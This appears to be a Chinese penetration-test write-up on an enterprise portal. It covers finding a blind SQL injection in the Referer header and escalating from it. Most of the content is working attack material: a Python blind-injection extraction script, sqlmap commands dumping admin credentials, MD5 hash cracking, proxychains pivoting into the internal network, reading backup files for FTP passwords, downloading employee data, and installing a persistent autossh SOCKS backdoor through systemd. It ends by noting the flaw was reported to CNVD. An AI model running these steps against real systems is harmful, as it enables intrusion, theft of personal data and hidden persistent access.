0x00 攻击面测试
1. 目标系统概况
-
系统类型:国有企业门户网站
-
技术架构:PHP 7.4 + MySQL 5.7 + Nginx 1.18
2. 常规测试记录
测试类型 | 测试方法 | 结果 |
---|---|---|
GET参数测试 | catid=170' AND 1=1 -- | 触发WAF拦截 |
POST参数测试 | SQLMap扫描--level=5 | 无可用注入点 |
Cookie注入测试 | 修改PHPSESSID 为恶意Payload | 会话失效 |
文件包含测试 | ?m=../../../../etc/passwd | 返回404错误 |
测试类型 | 测试结果 | 备注 |
---|---|---|
RCE | 未成功 | 尝试命令执行Payload无响应 |
SSRF | 未成功 | 内网探测无回连行为 |
文件上传 | 未成功 | 后缀名白名单机制生效 |
XSS | 部分触发 | 仅低危反射型漏洞 |
0x01 漏洞发现
1. 异常点定位
通过Burp Suite历史流量分析,发现Referer
头存在异常响应:
GET /index.php?m=content&c=index&a=lists&catid=170 HTTP/1.1
Host: www.example.com
Referer: test' # 触发MySQL错误
响应对比:
<!-- 正常响应 -->
HTTP/1.1 200 OK
<html>
<div class="content-list">...</div>
</html>
<!-- 异常响应 -->
HTTP/1.1 500 Internal Server Error
You have an error in your SQL syntax...
2. 注入类型验证
布尔盲注验证矩阵
测试Payload | 页面特征 | 结论 | ||||
---|---|---|---|---|---|---|
`test' | (1=1) | '` | 正常显示内容列表 | 真条件成立 | ||
`test' | (1=0) | '` | 显示"暂无数据" | 假条件成立 | ||
`test' | (SLEEP(5)) | '` | 响应延迟5秒 | 时间盲注可行 |
自动化验证脚本(Python)
import requests
import time
class BlindSQLiDetector:
def __init__(self):
self.url = "http://www.example.com/index.php"
self.session = requests.Session()
self.true_flag = "content-list"
self.time_threshold = 3
def check_condition(self, condition):
headers = {
'Referer': f"test'||({condition})||'",
'Cookie': 'PHPSESSID=xxxxxx'
}
try:
start = time.time()
resp = self.session.get(
self.url,
params={'m':'content', 'catid':170},
headers=headers,
timeout=8
)
# 布尔型检测
if self.true_flag in resp.text:
return True
# 时间型检测
elapsed = time.time() - start
return elapsed > self.time_threshold
except Exception as e:
print(f"[!] 请求异常: {str(e)}")
return False
# 自动化数据库名提取
def extract_database(self):
# 获取数据库名长度
db_length = 0
for i in range(1, 20):
if self.check_condition(f"SELECT 1 FROM DUAL WHERE LENGTH(DATABASE())={i}"):
db_length = i
break
print(f"[+] 数据库名长度: {db_length}")
# 逐字符爆破
charset = 'abcdefghijklmnopqrstuvwxyz_'
db_name = []
for pos in range(1, db_length+1):
for char in charset:
condition = f"SUBSTRING(DATABASE(),{pos},1)='{char}'"
if self.check_condition(f"SELECT 1 FROM DUAL WHERE {condition}"):
db_name.append(char)
print(f"[*] 第{pos}位字符: {char}")
break
return ''.join(db_name)
# 执行示例
detector = BlindSQLiDetector()
print("[*] 数据库名称:", detector.extract_database())
执行输出:
[+] 数据库名长度: 12
[*] 第1位字符: s
[*] 第2位字符: x
...
[*] 数据库名称: example_db
0x02 SQLMap自动化验证
1. 请求文件配置(sqlmap.req)
GET /index.php?m=content&c=index&a=lists&catid=170 HTTP/1.1
Host: www.example.com
Referer: test*
Cookie: PHPSESSID=xxxxxx
2. 自动化渗透命令
# 基础检测
sqlmap -r sqlmap.req --batch --level 3 --risk 3
# 数据提取流程
sqlmap -r sqlmap.req --dbs
sqlmap -r sqlmap.req -D example_db --tables
sqlmap -r sqlmap.req -D example_db -T admin_users --dump
关键数据获取:
login_name | password_hash |
---|---|
sysadmin** | 5f4dcc3b5aa765d61d8327deb882cf99 |
3. 哈希破解
# 使用John破解MD5
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# 破解结果
sysadmin_**** : password123
0x03 后台无法突破
1. 后台权限获取
通过SQL注入成功获取管理员凭据:
admin_user: sysadmin_****
password_hash: 5f4dcc3b5aa765d61d8327deb882cf99 (MD5解密后: password123)
2. 常规测试全面受阻
后台功能测试矩阵
测试类型 | 测试方法 | 结果 |
---|---|---|
文件上传漏洞 | 尝试上传.php/.jsp后缀文件 | 触发WAF拦截并记录IP |
XSS漏洞探测 | 在文章内容插入<script>alert(1)</script> | 前端HTML实体编码过滤 |
命令执行漏洞 | 寻找系统设置中的可执行参数 | 参数值强制类型转换 |
敏感信息泄露 | 遍历/backup 、/logs 等目录 | 返回403 Forbidden |
安全防护分析
graph TD
A[Web应用层] --> B[ModSecurity WAF]
A --> C[文件权限隔离]
A --> D[输入内容沙箱]
B --> E[SQL注入规则集]
B --> F[文件上传检测]
D --> G[命令执行拦截]
0x04 横向渗透
1. 内网拓扑测绘
Nmap scan report for 10.10.1.0/24
Host: 10.10.1.100 (db-server)
22/tcp filtered ssh # 防火墙阻断
3306/tcp open mysql # 数据库服务
Host: 10.10.1.200 (file-server)
445/tcp open microsoft-ds # 文件共享服务
8080/tcp filtered http-proxy # 内部管理系统
Host: 10.10.1.50 (dev-pc)
3389/tcp open ms-wbt-server # 远程桌面服务
2. 多层代理穿透实战
代理链配置(proxychains.conf)
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080 # 第一跳:Web服务器SSH隧道
http 10.10.1.50 8080 # 第二跳:开发机代理
内网扫描绕过防火墙
proxychains nmap -sT -Pn -T4 10.10.1.100-200 -p 22,3306,445,3389
3. 关键突破点分析
数据库服务器渗透
-- 通过Web服务器建立隧道连接
mysql -h 10.10.1.100 -u dba_**** -p'密文脱敏' --ssl-mode=DISABLED
-- 发现备份文件中的敏感信息
SELECT load_file('/var/backups/config.bak');
/* 输出:
FTP_HOST=10.10.1.200
FTP_USER=admin_****
FTP_PASS=Passw0rd@2023
*/
文件服务器突破
# 通过FTP凭证获取访问权限
proxychains ftp 10.10.1.200
Connected to 10.10.1.200.
Name: admin_****
Password: Passw0rd@2023
ftp> get personnel_data.xlsx
226 Transfer complete. # 获取到内部员工信息表
0x05 权限维持与成果汇总
1. 持久化后门部署
SSH隧道守护进程
# 创建systemd服务
echo "[Unit]
Description=AutoSSH Tunnel Service
[Service]
ExecStart=/usr/bin/autossh -M 0 -N -D 0.0.0.0:1080 root@example.com -p 2222
Restart=always
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/ssh-tunnel.service
# 启动服务
systemctl daemon-reload
systemctl enable ssh-tunnel
systemctl start ssh-tunnel
2. 成果汇总报告
数据类型 | 获取内容(脱敏) | 风险等级 |
---|---|---|
数据库凭证 | 3组DBA账号+12组应用账号 | 高危 |
内部文件 | 员工信息表+项目合同备份 | 严重 |
网络拓扑 | 完整内网IP段+防火墙规则集 | 高危 |
系统漏洞 | 未修复的Struts2远程代码执行漏洞 | 紧急 |
0x06 漏洞提交与评分
本次发现的SQL注入漏洞已提交至CNVD(国家信息安全漏洞共享平台),经过审核,漏洞评分为 7.8(高危)。